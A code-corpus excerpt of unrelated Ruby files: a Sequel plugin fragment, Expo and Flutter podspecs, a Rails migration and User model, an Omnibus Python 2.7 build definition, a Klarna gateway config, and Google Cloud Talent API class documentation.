else
ref.right_primary_key_methods
end
expr = association_filter_key_expression(ref.qualify(last_alias, Array(ref.final_edge[:left])), meths, obj)
unless expr == SQL::Constants::FALSE
ds = ds.where(expr).exclude(SQL::BooleanExpression.from_value_pairs(ds.opts[:select].zip([]), :OR))
expr = SQL::BooleanExpression.from_value_pairs(lpks=>ds)
expr = add_association_filter_conditions(ref, obj, expr)
end
association_filter_handle_inversion(op, expr, Array(lpks))
end
alias one_through_many_association_filter_expression many_through_many_association_filter_expression
end
end
end
end
| 52.344615 | 354 | 0.637785 |
91b762f600593d6cdc07e056bc9be5aadc19d500 | 1,282 | require 'json'
package = JSON.parse(File.read(File.join(__dir__, '..', 'package.json')))
Pod::Spec.new do |s|
s.name = 'EXConstants'
s.version = package['version']
s.summary = package['description']
s.description = package['description']
s.license = package['license']
s.author = package['author']
s.homepage = package['homepage']
s.platform = :ios, '11.0'
s.source = { git: 'https://github.com/expo/expo.git' }
s.dependency 'ExpoModulesCore'
if !$ExpoUseSources&.include?(package['name']) && ENV['EXPO_USE_SOURCE'].to_i == 0 && File.exist?("#{s.name}.xcframework") && Gem::Version.new(Pod::VERSION) >= Gem::Version.new('1.10.0')
s.source_files = "#{s.name}/**/*.h"
s.vendored_frameworks = "#{s.name}.xcframework"
else
s.source_files = "#{s.name}/**/*.{h,m}"
end
s.script_phase = {
:name => 'Generate app.config for prebuilt Constants.manifest',
:script => 'bash -l -c "$PODS_TARGET_SRCROOT/../scripts/get-app-config-ios.sh"',
:execution_position => :before_compile
}
# Generate EXConstants.bundle without existing resources
# `get-app-config-ios.sh` will generate app.config in EXConstants.bundle
s.resource_bundles = {
'EXConstants' => []
}
end
| 33.736842 | 188 | 0.624025 |
1dec5ca8828f8e0c75dcb0eccef6ea7963662326 | 4,579 | class FromInvitation < ActiveRecord::Migration
def self.up
rename_column :users, :was_invited, :from_invitation
change_column :users, :administrator, :boolean, :default => false
change_column :users, :preferred_view, :string, :default => :expanded
change_column :users, :subscriptions_count, :integer, :null => false, :default => 0
change_column :users, :news, :boolean, :default => true
change_column :hoshins, :areas_count, :integer, :null => false, :default => 0
change_column :hoshins, :objectives_count, :integer, :null => false, :default => 0
change_column :hoshins, :goals_count, :integer, :null => false, :default => 0
change_column :hoshins, :indicators_count, :integer, :null => false, :default => 0
change_column :hoshins, :tasks_count, :integer, :null => false, :default => 0
change_column :hoshins, :outdated_indicators_count, :integer, :null => false, :default => 0
change_column :hoshins, :outdated_tasks_count, :integer, :null => false, :default => 0
change_column :hoshins, :blind_objectives_count, :integer, :null => false, :default => 0
change_column :hoshins, :neglected_objectives_count, :integer, :null => false, :default => 0
change_column :hoshins, :hoshins_count, :integer, :null => false, :default => 0
change_column :companies, :hoshins_count, :integer, :null => false, :default => 0
change_column :companies, :unlimited, :boolean, :null => false, :default => false
change_column :companies, :subscriptions_count, :integer, :null => false, :default => 0
change_column :indicators, :goal, :decimal, :default => 100.0
change_column :indicators, :reminder, :boolean, :null => false, :default => true
change_column :indicators, :worst_value, :decimal, :default => 0.0
change_column :indicators, :show_on_parent, :boolean, :null => false, :default => false
change_column :indicators, :show_on_charts, :boolean, :null => false, :default => true
change_column :objectives, :neglected, :boolean, :default => false
change_column :objectives, :blind, :boolean, :default => true
change_column :tasks, :reminder, :boolean, :default => true
change_column :tasks, :lane_pos, :integer, :null => false, :default => 0
change_column :tasks, :feeling, :string, :null => false, :default => :smile
end
def self.down
rename_column :users, :from_invitation, :was_invited
change_column :users, :administrator, :boolean, default: false
change_column :users, :preferred_view, :string, default: "expanded"
change_column :users, :subscriptions_count, :integer, default: 0, null: false
change_column :users, :news, :boolean, default: true
change_column :hoshins, :areas_count, :integer, default: 0, null: false
change_column :hoshins, :objectives_count, :integer, default: 0, null: false
change_column :hoshins, :goals_count, :integer, default: 0, null: false
change_column :hoshins, :indicators_count, :integer, default: 0, null: false
change_column :hoshins, :tasks_count, :integer, default: 0, null: false
change_column :hoshins, :outdated_indicators_count, :integer, default: 0, null: false
change_column :hoshins, :outdated_tasks_count, :integer, default: 0, null: false
change_column :hoshins, :blind_objectives_count, :integer, default: 0, null: false
change_column :hoshins, :neglected_objectives_count, :integer, default: 0, null: false
change_column :hoshins, :hoshins_count, :integer, default: 0, null: false
change_column :companies, :hoshins_count, :integer, default: 0, null: false
change_column :companies, :unlimited, :boolean, default: false, null: false
change_column :companies, :subscriptions_count, :integer, default: 0, null: false
change_column :indicators, :goal, :decimal, default: 100.0
change_column :indicators, :reminder, :boolean, default: true, null: false
change_column :indicators, :worst_value, :decimal, default: 0.0
change_column :indicators, :show_on_parent, :boolean, default: false, null: false
change_column :indicators, :show_on_charts, :boolean, default: true, null: false
change_column :objectives, :neglected, :boolean, default: false
change_column :objectives, :blind, :boolean, default: true
change_column :tasks, :reminder, :boolean, default: true
change_column :tasks, :lane_pos, :integer, default: 0, null: false
change_column :tasks, :feeling, :string, default: "smile", null: false
end
end
| 61.878378 | 97 | 0.699498 |
61a5ca5a9f4b682a5725ca4a3aa9b18d046a5a56 | 2,574 | class User < ActiveRecord::Base
has_many :characters
has_secure_password
validates :email, :uniqueness => true
validates :username, :uniqueness => true
validates :display_name, :uniqueness => true
def admin_panel?
# Needed before Rails.application.config loads...
%w(ADMIN LIBRARIAN MODERATOR).include?(self.group)
end
def can_edit?(char_or_user)
if char_or_user.is_a?(Character)
self.id == char_or_user.user_id || Rails.application.config.staff_permissions[:character_edit].include?(self.group)
elsif char_or_user.is_a?(User)
self.id == char_or_user.id || Rails.application.config.staff_permissions[:account_edit].include?(self.group)
else
raise ArgumentError "The provided parameter #{char_or_user} is not a Character or User."
end
end
def can_approve?
Rails.application.config.staff_permissions[:character_approve].include?(self.group)
end
def can_promote?
# Rails.application.config.staff_permissions[:user_promote].include?(self.group)
%w(ADMIN LIBRARIAN MODERATOR).include?(self.group)
end
def reaping_checks?
%w(ADMIN LIBRARIAN).include?(self.group)
end
def reaping_tickets
# how many characters can this member enter into the reaping?
non_reapables = 0
self.characters.each do |char|
unless char.is_reapable?
if char.char_approved
non_reapables += 1
end
end
end
10 + (non_reapables * 2)
end
def update_profile(params)
if params.has_key?(:old_password)
self.authenticate(params[:old_password])
self.update(password: params[:new_password], password_confirmation: params[:confirm_new_password])
end
self.group = params[:group]
self.group = params[:display_name]
self.group = params[:email]
end
def reaping_display_name
if self.username.downcase == self.display_name.downcase
uname_string = self.display_name
else
uname_string = "#{self.username} '#{self.display_name}'"
end
uname_string
end
class << self
def find_by_email_or_username(email_or_username)
user = User.find_by_email(email_or_username)
user ||= User.find_by_username(email_or_username)
user ||= User.where('lower(username) = ?', email_or_username.downcase).first
end
def find_by_display_name_or_username(email_or_username)
user = User.find_by_display_name(email_or_username)
user ||= User.find_by_username(email_or_username)
user ||= User.where('lower(username) = ?', email_or_username.downcase).first
end
end
end
| 28.6 | 121 | 0.71251 |
ac18b52ffcde935507798e631c22fdc91a888f64 | 3,404 | #
# Copyright:: Copyright (c) 2013-2014 Chef Software, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
name "python2"
if ohai["platform"] != "windows"
default_version "2.7.18"
dependency "ncurses"
dependency "zlib"
dependency "openssl"
dependency "pkg-config"
dependency "bzip2"
dependency "libsqlite3"
dependency "libyaml"
source :url => "http://python.org/ftp/python/#{version}/Python-#{version}.tgz",
:sha256 => "da3080e3b488f648a3d7a4560ddee895284c3380b11d6de75edb986526b9a814"
relative_path "Python-#{version}"
env = {
"CFLAGS" => "-I#{install_dir}/embedded/include -O2 -g -pipe -fPIC",
"LDFLAGS" => "-Wl,-rpath,#{install_dir}/embedded/lib -L#{install_dir}/embedded/lib",
"PKG_CONFIG" => "#{install_dir}/embedded/bin/pkg-config",
"PKG_CONFIG_PATH" => "#{install_dir}/embedded/lib/pkgconfig"
}
python_configure = ["./configure",
"--prefix=#{install_dir}/embedded"]
if mac_os_x?
python_configure.push("--enable-ipv6",
"--with-universal-archs=intel",
"--enable-shared",
"--without-gcc",
"CC=clang")
elsif linux?
python_configure.push("--enable-unicode=ucs4",
"--enable-shared")
end
build do
ship_license "PSFL"
patch :source => "avoid-allocating-thunks-in-ctypes.patch" if linux?
patch :source => "fix-platform-ubuntu.diff" if linux?
command python_configure.join(" "), :env => env
command "make -j #{workers}", :env => env
command "make install", :env => env
delete "#{install_dir}/embedded/lib/python2.7/test"
move "#{install_dir}/embedded/bin/2to3", "#{install_dir}/embedded/bin/2to3-2.7"
block do
FileUtils.rm_f(Dir.glob("#{install_dir}/embedded/lib/python2.7/lib-dynload/readline.*"))
FileUtils.rm_f(Dir.glob("#{install_dir}/embedded/lib/python2.7/lib-dynload/gdbm.so"))
FileUtils.rm_f(Dir.glob("#{install_dir}/embedded/lib/python2.7/lib-dynload/dbm.so"))
FileUtils.rm_f(Dir.glob("#{install_dir}/embedded/lib/python2.7/distutils/command/wininst-*.exe"))
end
end
else
default_version "2.7.18"
dependency "vc_redist"
if windows_arch_i386?
source :url => "https://dd-agent-omnibus.s3.amazonaws.com/python-windows-#{version}-x86.zip",
:sha256 => "c8309b3351610a7159e91e55f09f7341bc3bbdd67d2a5e3049a9d1157e5a9110",
:extract => :seven_zip
else
source :url => "https://dd-agent-omnibus.s3.amazonaws.com/python-windows-#{version}-amd64.zip",
:sha256 => "7989b2efe6106a3df82c47d403dbb166db6d4040f3654871323df7e724a9fdd2",
:extract => :seven_zip
end
build do
#
# expand python zip into the embedded directory
command "XCOPY /YEHIR *.* \"#{windows_safe_path(python_2_embedded)}\""
end
end
| 35.092784 | 103 | 0.665981 |
bb84bd35fbf5f97c7f90776cba278f532a03b32c | 952 | module KlarnaGateway
class << self
attr_accessor :_configuration
def configuration
if self._configuration.nil?
raise ConfigurationMissing.new("KlarnaGateway._configuration is missing. Please run <rails generate klarna_gateway:install> or create an initializer for this configuration")
end
self._configuration
end
def is_solidus?
Spree.respond_to?(:solidus_version)
end
def is_spree?
!is_solidus?
end
def up_to_solidus?(version)
is_solidus? && Gem::Version.new(Spree.solidus_version) <= Gem::Version.new(version)
end
def up_to_spree?(version)
is_spree? && Gem::Version.new(Spree.version) <= Gem::Version.new(version)
end
end
def self.configure
self._configuration ||= Configuration.new
yield(self._configuration)
end
class Configuration
attr_accessor :confirmation_url
end
class ConfigurationMissing < StandardError; end
end
| 23.8 | 181 | 0.709034 |
265394c8bf3a6359372130133ef8d8754a9edfae | 984 | # frozen_string_literal: true
# need to override some methods from BlacklightMaps
require Blacklight::Maps::Engine.root.join(CommonwealthVlrEngine::Engine.root,
'config', 'initializers', 'patch_blacklight_maps')
class BlacklightMaps::GeojsonExport
# LOCAL OVERRIDE - set partial to be rendered via options hash
# TODO: submit a PR to allow/look for partial in options hash
def render_leaflet_popup_content(geojson, hits = nil)
partial = @options[:partial].presence
if maps_config.search_mode == 'placename' &&
geojson[:properties][maps_config.placename_property.to_sym]
partial ||= 'catalog/map_placename_search'
locals = { geojson_hash: geojson, hits: hits }
else
partial ||= 'catalog/map_spatial_search'
locals = { coordinates: geojson[:bbox].presence || geojson[:geometry][:coordinates], hits: hits }
end
@controller.render_to_string(partial: partial, locals: locals)
end
end
| 42.782609 | 103 | 0.705285 |
39f9dbfefa464606f3a2b8483f707e340ca5fe02 | 1,086 | #
# To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html
#
Pod::Spec.new do |s|
s.name = 'integration_test'
s.version = '0.0.1'
s.summary = 'Adapter for integration tests.'
s.description = <<-DESC
Runs tests that use the flutter_test API as integration tests.
DESC
s.homepage = 'https://github.com/flutter/flutter/tree/master/packages/integration_test'
s.license = { :type => 'BSD', :text => <<-LICENSE
Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.
LICENSE
}
s.author = { 'Flutter Team' => '[email protected]' }
s.source = { :http => 'https://github.com/flutter/flutter/tree/master/packages/integration_test' }
s.source_files = 'Classes/**/*'
s.public_header_files = 'Classes/**/*.h'
s.dependency 'Flutter'
s.ios.framework = 'UIKit'
s.platform = :ios, '9.0'
s.pod_target_xcconfig = { 'DEFINES_MODULE' => 'YES', 'EXCLUDED_ARCHS[sdk=iphonesimulator*]' => 'i386' }
end
| 41.769231 | 110 | 0.633517 |
1c704c1d7ba8192bf985889ef1b3cc5bc5b84150 | 49,996 | # Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
module Google
module Cloud
module Talent
module V4beta1
# Message representing a period of time between two timestamps.
# @!attribute [rw] start_time
# @return [Google::Protobuf::Timestamp]
# Begin of the period (inclusive).
# @!attribute [rw] end_time
# @return [Google::Protobuf::Timestamp]
# End of the period (exclusive).
class TimestampRange; end
# A resource that represents a location with full geographic information.
# @!attribute [rw] location_type
# @return [Google::Cloud::Talent::V4beta1::Location::LocationType]
# The type of a location, which corresponds to the address lines field of
# {Google::Type::PostalAddress}. For example,
# "Downtown, Atlanta, GA, USA" has a type of
# {Google::Cloud::Talent::V4beta1::Location::LocationType::NEIGHBORHOOD LocationType::NEIGHBORHOOD},
# and "Kansas City, KS, USA" has a type of
# {Google::Cloud::Talent::V4beta1::Location::LocationType::LOCALITY LocationType::LOCALITY}.
# @!attribute [rw] postal_address
# @return [Google::Type::PostalAddress]
# Postal address of the location that includes human readable information,
# such as postal delivery and payments addresses. Given a postal address,
# a postal service can deliver items to a premises, P.O. Box, or other
# delivery location.
# @!attribute [rw] lat_lng
# @return [Google::Type::LatLng]
# An object representing a latitude/longitude pair.
# @!attribute [rw] radius_miles
# @return [Float]
# Radius in miles of the job location. This value is derived from the
# location bounding box in which a circle with the specified radius
# centered from {Google::Type::LatLng} covers the area
# associated with the job location. For example, currently, "Mountain View,
# CA, USA" has a radius of 6.17 miles.
class Location
# An enum which represents the type of a location.
module LocationType
# Default value if the type isn't specified.
LOCATION_TYPE_UNSPECIFIED = 0
# A country level location.
COUNTRY = 1
# A state or equivalent level location.
ADMINISTRATIVE_AREA = 2
# A county or equivalent level location.
SUB_ADMINISTRATIVE_AREA = 3
# A city or equivalent level location.
LOCALITY = 4
# A postal code level location.
POSTAL_CODE = 5
# A sublocality is a subdivision of a locality, for example a city borough,
# ward, or arrondissement. Sublocalities are usually recognized by a local
# political authority. For example, Manhattan and Brooklyn are recognized
# as boroughs by the City of New York, and are therefore modeled as
# sublocalities.
SUB_LOCALITY = 6
# A district or equivalent level location.
SUB_LOCALITY_1 = 7
# A smaller district or equivalent level display.
SUB_LOCALITY_2 = 8
# A neighborhood level location.
NEIGHBORHOOD = 9
# A street address level location.
STREET_ADDRESS = 10
end
end
# Meta information related to the job searcher or entity
# conducting the job search. This information is used to improve the
# performance of the service.
# @!attribute [rw] domain
# @return [String]
# Required if
# {Google::Cloud::Talent::V4beta1::RequestMetadata#allow_missing_ids allow_missing_ids}
# is unset or `false`.
#
# The client-defined scope or source of the service call, which typically
# is the domain on
# which the service has been implemented and is currently being run.
#
# For example, if the service is being run by client <em>Foo, Inc.</em>, on
# job board www.foo.com and career site www.bar.com, then this field is
# set to "foo.com" for use on the job board, and "bar.com" for use on the
# career site.
#
# Note that any improvements to the model for a particular tenant site rely
# on this field being set correctly to a unique domain.
#
# The maximum number of allowed characters is 255.
# @!attribute [rw] session_id
# @return [String]
# Required if
# {Google::Cloud::Talent::V4beta1::RequestMetadata#allow_missing_ids allow_missing_ids}
# is unset or `false`.
#
# A unique session identification string. A session is defined as the
# duration of an end user's interaction with the service over a certain
# period.
# Obfuscate this field for privacy concerns before
# providing it to the service.
#
# Note that any improvements to the model for a particular tenant site rely
# on this field being set correctly to a unique session ID.
#
# The maximum number of allowed characters is 255.
# @!attribute [rw] user_id
# @return [String]
# Required if
# {Google::Cloud::Talent::V4beta1::RequestMetadata#allow_missing_ids allow_missing_ids}
# is unset or `false`.
#
# A unique user identification string, as determined by the client.
# To have the strongest positive impact on search quality
# make sure the client-level is unique.
# Obfuscate this field for privacy concerns before
# providing it to the service.
#
# Note that any improvements to the model for a particular tenant site rely
# on this field being set correctly to a unique user ID.
#
# The maximum number of allowed characters is 255.
# @!attribute [rw] allow_missing_ids
# @return [true, false]
# Only set when any of
# {Google::Cloud::Talent::V4beta1::RequestMetadata#domain domain},
# {Google::Cloud::Talent::V4beta1::RequestMetadata#session_id session_id} and
# {Google::Cloud::Talent::V4beta1::RequestMetadata#user_id user_id} isn't
# available for some reason. It is highly recommended not to set this field
# and provide accurate
# {Google::Cloud::Talent::V4beta1::RequestMetadata#domain domain},
# {Google::Cloud::Talent::V4beta1::RequestMetadata#session_id session_id} and
# {Google::Cloud::Talent::V4beta1::RequestMetadata#user_id user_id} for the best
# service experience.
# @!attribute [rw] device_info
# @return [Google::Cloud::Talent::V4beta1::DeviceInfo]
# The type of device used by the job seeker at the time of the call to the
# service.
class RequestMetadata; end
# Additional information returned to client, such as debugging information.
# @!attribute [rw] request_id
# @return [String]
# A unique id associated with this call.
# This id is logged for tracking purposes.
class ResponseMetadata; end
# Device information collected from the job seeker, candidate, or
# other entity conducting the job search. Providing this information improves
# the quality of the search results across devices.
# @!attribute [rw] device_type
# @return [Google::Cloud::Talent::V4beta1::DeviceInfo::DeviceType]
# Type of the device.
# @!attribute [rw] id
# @return [String]
# A device-specific ID. The ID must be a unique identifier that
# distinguishes the device from other devices.
class DeviceInfo
# An enumeration describing an API access portal and exposure mechanism.
module DeviceType
# The device type isn't specified.
DEVICE_TYPE_UNSPECIFIED = 0
# A desktop web browser, such as, Chrome, Firefox, Safari, or Internet
# Explorer)
WEB = 1
# A mobile device web browser, such as a phone or tablet with a Chrome
# browser.
MOBILE_WEB = 2
# An Android device native application.
ANDROID = 3
# An iOS device native application.
IOS = 4
# A bot, as opposed to a device operated by human beings, such as a web
# crawler.
BOT = 5
# Other devices types.
OTHER = 6
end
end
# Custom attribute values that are either filterable or non-filterable.
# @!attribute [rw] string_values
# @return [Array<String>]
# Exactly one of
# {Google::Cloud::Talent::V4beta1::CustomAttribute#string_values string_values}
# or {Google::Cloud::Talent::V4beta1::CustomAttribute#long_values long_values}
# must be specified.
#
# This field is used to perform a string match (`CASE_SENSITIVE_MATCH` or
# `CASE_INSENSITIVE_MATCH`) search.
# For filterable `string_value`s, a maximum total number of 200 values
# is allowed, with each `string_value` has a byte size of no more than
# 500B. For unfilterable `string_values`, the maximum total byte size of
# unfilterable `string_values` is 50KB.
#
# Empty string isn't allowed.
# @!attribute [rw] long_values
# @return [Array<Integer>]
# Exactly one of
# {Google::Cloud::Talent::V4beta1::CustomAttribute#string_values string_values}
# or {Google::Cloud::Talent::V4beta1::CustomAttribute#long_values long_values}
# must be specified.
#
# This field is used to perform number range search.
# (`EQ`, `GT`, `GE`, `LE`, `LT`) over filterable `long_value`.
#
# Currently at most 1
# {Google::Cloud::Talent::V4beta1::CustomAttribute#long_values long_values} is
# supported.
# @!attribute [rw] filterable
# @return [true, false]
# If the `filterable` flag is true, custom field values are searchable.
# If false, values are not searchable.
#
# Default is false.
class CustomAttribute; end
# Spell check result.
# @!attribute [rw] corrected
# @return [true, false]
# Indicates if the query was corrected by the spell checker.
# @!attribute [rw] corrected_text
# @return [String]
# Correction output consisting of the corrected keyword string.
# @!attribute [rw] corrected_html
# @return [String]
# Corrected output with html tags to highlight the corrected words.
# Corrected words are called out with the "<b><i>...</i></b>" html tags.
#
# For example, the user input query is "software enginear", where the second
# word, "enginear," is incorrect. It should be "engineer". When spelling
# correction is enabled, this value is
# "software <b><i>engineer</i></b>".
class SpellingCorrection; end
# Job compensation details.
# @!attribute [rw] entries
# @return [Array<Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry>]
# Job compensation information.
#
# At most one entry can be of type
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationType::BASE CompensationInfo::CompensationType::BASE},
# which is referred as **base compensation entry** for the job.
# @!attribute [rw] annualized_base_compensation_range
# @return [Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationRange]
# Output only. Annualized base compensation range. Computed as base
# compensation entry's
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#amount CompensationEntry#amount}
# times
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#expected_units_per_year CompensationEntry#expected_units_per_year}.
#
# See
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry CompensationEntry}
# for explanation on compensation annualization.
# @!attribute [rw] annualized_total_compensation_range
# @return [Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationRange]
# Output only. Annualized total compensation range. Computed as all
# compensation entries'
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#amount CompensationEntry#amount}
# times
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#expected_units_per_year CompensationEntry#expected_units_per_year}.
#
# See
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry CompensationEntry}
# for explanation on compensation annualization.
class CompensationInfo
# A compensation entry that represents one component of compensation, such
# as base pay, bonus, or other compensation type.
#
# Annualization: One compensation entry can be annualized if
# * it contains valid
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#amount amount}
# or
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#range range}.
# * and its
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#expected_units_per_year expected_units_per_year}
# is set or can be derived. Its annualized range is determined as
# ({Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#amount amount}
# or
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#range range})
# times
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#expected_units_per_year expected_units_per_year}.
# @!attribute [rw] type
# @return [Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationType]
# Compensation type.
#
# Default is
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationType::COMPENSATION_TYPE_UNSPECIFIED CompensationType::COMPENSATION_TYPE_UNSPECIFIED}.
# @!attribute [rw] unit
# @return [Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationUnit]
# Frequency of the specified amount.
#
# Default is
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationUnit::COMPENSATION_UNIT_UNSPECIFIED CompensationUnit::COMPENSATION_UNIT_UNSPECIFIED}.
# @!attribute [rw] amount
# @return [Google::Type::Money]
# Compensation amount.
# @!attribute [rw] range
# @return [Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationRange]
# Compensation range.
# @!attribute [rw] description
# @return [String]
# Compensation description. For example, could
# indicate equity terms or provide additional context to an estimated
# bonus.
# @!attribute [rw] expected_units_per_year
# @return [Google::Protobuf::DoubleValue]
# Expected number of units paid each year. If not specified, when
# {Google::Cloud::Talent::V4beta1::Job#employment_types Job#employment_types}
# is FULLTIME, a default value is inferred based on
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#unit unit}.
# Default values:
# * HOURLY: 2080
# * DAILY: 260
# * WEEKLY: 52
# * MONTHLY: 12
# * ANNUAL: 1
class CompensationEntry; end
# Compensation range.
# @!attribute [rw] max_compensation
# @return [Google::Type::Money]
# The maximum amount of compensation. If left empty, the value is set
# to a maximal compensation value and the currency code is set to
# match the {Google::Type::Money#currency_code currency code} of
# min_compensation.
# @!attribute [rw] min_compensation
# @return [Google::Type::Money]
# The minimum amount of compensation. If left empty, the value is set
# to zero and the currency code is set to match the
# {Google::Type::Money#currency_code currency code} of max_compensation.
class CompensationRange; end
# The type of compensation.
#
# For compensation amounts specified in non-monetary amounts,
# describe the compensation scheme in the
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#description CompensationEntry#description}.
#
# For example, tipping format is described in
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#description CompensationEntry#description}
# (for example, "expect 15-20% tips based on customer bill.") and an estimate
# of the tips provided in
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#amount CompensationEntry#amount}
# or
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#range CompensationEntry#range}
# ($10 per hour).
#
# For example, equity is described in
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#description CompensationEntry#description}
# (for example, "1% - 2% equity vesting over 4 years, 1 year cliff") and
# value estimated in
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#amount CompensationEntry#amount}
# or
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#range CompensationEntry#range}.
# If no value estimate is possible, units are
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationUnit::COMPENSATION_UNIT_UNSPECIFIED CompensationUnit::COMPENSATION_UNIT_UNSPECIFIED}
# and then further clarified in
# {Google::Cloud::Talent::V4beta1::CompensationInfo::CompensationEntry#description CompensationEntry#description}
# field.
module CompensationType
# Default value.
COMPENSATION_TYPE_UNSPECIFIED = 0
# Base compensation: Refers to the fixed amount of money paid to an
# employee by an employer in return for work performed. Base compensation
# does not include benefits, bonuses or any other potential compensation
# from an employer.
BASE = 1
# Bonus.
BONUS = 2
# Signing bonus.
SIGNING_BONUS = 3
# Equity.
EQUITY = 4
# Profit sharing.
PROFIT_SHARING = 5
# Commission.
COMMISSIONS = 6
# Tips.
TIPS = 7
# Other compensation type.
OTHER_COMPENSATION_TYPE = 8
end
# Pay frequency.
module CompensationUnit
# Default value.
COMPENSATION_UNIT_UNSPECIFIED = 0
# Hourly.
HOURLY = 1
# Daily.
DAILY = 2
# Weekly
WEEKLY = 3
# Monthly.
MONTHLY = 4
# Yearly.
YEARLY = 5
# One time.
ONE_TIME = 6
# Other compensation units.
OTHER_COMPENSATION_UNIT = 7
end
end
# Resource that represents a license or certification.
# @!attribute [rw] display_name
# @return [String]
# Name of license or certification.
#
# Number of characters allowed is 100.
# @!attribute [rw] acquire_date
# @return [Google::Type::Date]
# Acquisition date or effective date of license or certification.
# @!attribute [rw] expire_date
# @return [Google::Type::Date]
# Expiration date of license of certification.
# @!attribute [rw] authority
# @return [String]
# Authority of license, such as government.
#
# Number of characters allowed is 100.
# @!attribute [rw] description
# @return [String]
# Description of license or certification.
#
# Number of characters allowed is 100,000.
class Certification; end
# Resource that represents a skill of a candidate.
# @!attribute [rw] display_name
# @return [String]
# Skill display name.
#
# For example, "Java", "Python".
#
# Number of characters allowed is 100.
# @!attribute [rw] last_used_date
# @return [Google::Type::Date]
# The last time this skill was used.
# @!attribute [rw] level
# @return [Google::Cloud::Talent::V4beta1::SkillProficiencyLevel]
# Skill proficiency level which indicates how proficient the candidate is at
# this skill.
# @!attribute [rw] context
# @return [String]
# A paragraph describes context of this skill.
#
# Number of characters allowed is 100,000.
# @!attribute [rw] skill_name_snippet
# @return [String]
# Output only. Skill name snippet shows how the
# {Google::Cloud::Talent::V4beta1::Skill#display_name display_name} is related
# to a search query. It's empty if the
# {Google::Cloud::Talent::V4beta1::Skill#display_name display_name} isn't
# related to the search query.
class Skill; end
# Details of an interview.
# @!attribute [rw] rating
# @return [Google::Cloud::Talent::V4beta1::Rating]
# The rating on this interview.
# @!attribute [rw] outcome
# @return [Google::Cloud::Talent::V4beta1::Outcome]
# Required. The overall decision resulting from this interview (positive,
# negative, nuetral).
class Interview; end
# The details of the score received for an assessment or interview.
# @!attribute [rw] overall
# @return [Float]
# Overall score.
# @!attribute [rw] min
# @return [Float]
# The minimum value for the score.
# @!attribute [rw] max
# @return [Float]
# The maximum value for the score.
# @!attribute [rw] interval
# @return [Float]
# The steps within the score (for example, interval = 1 max = 5
# min = 1 indicates that the score can be 1, 2, 3, 4, or 5)
class Rating; end
# Metadata used for long running operations returned by CTS batch APIs.
# It's used to replace
# {Google::Longrunning::Operation#metadata}.
# @!attribute [rw] state
# @return [Google::Cloud::Talent::V4beta1::BatchOperationMetadata::State]
# The state of a long running operation.
# @!attribute [rw] state_description
# @return [String]
# More detailed information about operation state.
# @!attribute [rw] success_count
# @return [Integer]
# Count of successful item(s) inside an operation.
# @!attribute [rw] failure_count
# @return [Integer]
# Count of failed item(s) inside an operation.
# @!attribute [rw] total_count
# @return [Integer]
# Count of total item(s) inside an operation.
# @!attribute [rw] create_time
# @return [Google::Protobuf::Timestamp]
# The time when the batch operation is created.
# @!attribute [rw] update_time
# @return [Google::Protobuf::Timestamp]
# The time when the batch operation status is updated. The metadata and the
# {Google::Cloud::Talent::V4beta1::BatchOperationMetadata#update_time update_time}
# is refreshed every minute otherwise cached data is returned.
# @!attribute [rw] end_time
# @return [Google::Protobuf::Timestamp]
# The time when the batch operation is finished and
# {Google::Longrunning::Operation#done} is
# set to `true`.
class BatchOperationMetadata
module State
# Default value.
STATE_UNSPECIFIED = 0
# The batch operation is being prepared for processing.
INITIALIZING = 1
# The batch operation is actively being processed.
PROCESSING = 2
# The batch operation is processed, and at least one item has been
# successfully processed.
SUCCEEDED = 3
# The batch operation is done and no item has been successfully processed.
FAILED = 4
# The batch operation is in the process of cancelling after
# {Google::Longrunning::Operations::CancelOperation}
# is called.
CANCELLING = 5
# The batch operation is done after
# {Google::Longrunning::Operations::CancelOperation}
# is called. Any items processed before cancelling are returned in the
# response.
CANCELLED = 6
end
end
# The type of candidate availability signal.
